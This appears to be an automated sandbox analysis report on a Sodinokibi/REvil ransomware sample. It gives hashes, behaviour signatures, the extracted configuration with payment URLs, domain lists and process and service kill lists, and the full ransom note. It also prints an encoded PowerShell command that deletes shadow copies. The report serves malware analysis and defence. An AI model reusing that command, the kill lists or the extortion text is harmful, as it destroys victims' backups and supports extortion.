Analysis
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max time kernel
162s -
max time network
173s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 01:02
General
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Target
ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exe
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Size
204KB
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MD5
6a7b796ff7488356f8a12b704f947a7c
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SHA1
c904860696639bba2183c2094381f9324967def8
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SHA256
ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769
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SHA512
e95b75b44aca05168af539cd12eb432733a979ebf020e98c1c19985cc2c2befbe780bf1f56d40399e68f55aa3f18966f4cad29748c3d1e407466b70da97a33be
Malware Config
Extracted
C:\y77ydj1-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F4881A6659F2E901
http://decryptor.top/F4881A6659F2E901
Extracted
sodinokibi
19
1428
selected-minds.de
xtensifi.com
silverbird.dk
thiagoperez.com
egpu.fr
bruut.online
dogsunlimitedguide.com
studionumerik.fr
cleanroomequipment.ie
letterscan.de
prometeyagro.com.ua
muller.nl
renderbox.ch
concontactodirecto.com
cookinn.nl
azerbaycanas.com
holocine.de
chris-anne.com
peninggibadan.co.id
sycamoregreenapts.com
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net
true
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pid
19
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prc
excel
mysqld_nt
mspub
mydesktopqos
thunderbird
ocssd
firefoxconfig
tbirdconfig
onenote
sqlagent
mysqld_opt
ocomm
agntsvc
encsvc
sqlwriter
mysqld
mydesktopservice
infopath
wordpad
sqbcoreservice
thebat
winword
dbeng50
msftesql
thebat64
oracle
xfssvccon
steam
isqlplussvc
visio
outlook
powerpnt
ocautoupds
synctime
sqlbrowser
dbsnmp
sqlservr
msaccess
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ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
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ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
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sub
1428
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svc
mepocs
vss
veeam
backup
sql
sophos
memtas
svc$
Signatures
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Modifies system executable filetype association 2 TTPs 1 IoCs
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Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Executes dropped EXE 1 IoCs
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Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Drops file in Program Files directory 64 IoCs
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Drops file in Windows directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exe"C:\Users\Admin\AppData\Local\Temp\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exe"1⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\3582-490\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\3582-490\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exeMD5
f08cec4343560f6f2679da09f73e8a3f
SHA163c22048495c91cc06ae7cb0461dda6d707a9b3e
SHA256e2dbd097b846feec6f4654b79ea0ac23463df4a430b750ebde3eb893d3daad36
SHA51212b44ca195d18d59080873ed417c00a449100f471502efed673be320342fd5d793e75558bf8503943c0afaa54e0b30112aa0bdaa70b377d3edda4cf62ea6967a
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C:\Users\Admin\AppData\Local\Temp\3582-490\ce45bc3bcc4e3b7e5cda8b1db4129efc7c4f34158869379330ed6c9eb75da769.exeMD5
f08cec4343560f6f2679da09f73e8a3f
SHA163c22048495c91cc06ae7cb0461dda6d707a9b3e
SHA256e2dbd097b846feec6f4654b79ea0ac23463df4a430b750ebde3eb893d3daad36
SHA51212b44ca195d18d59080873ed417c00a449100f471502efed673be320342fd5d793e75558bf8503943c0afaa54e0b30112aa0bdaa70b377d3edda4cf62ea6967a
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memory/3500-121-0x000002B06ADD0000-0x000002B06AEB0000-memory.dmpFilesize
896KB
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memory/3500-122-0x000002B06ADD0000-0x000002B06AEB0000-memory.dmpFilesize
896KB
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memory/3500-123-0x000002B06CDB0000-0x000002B06CDD2000-memory.dmpFilesize
136KB
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memory/3500-127-0x000002B06D8A0000-0x000002B06D916000-memory.dmpFilesize
472KB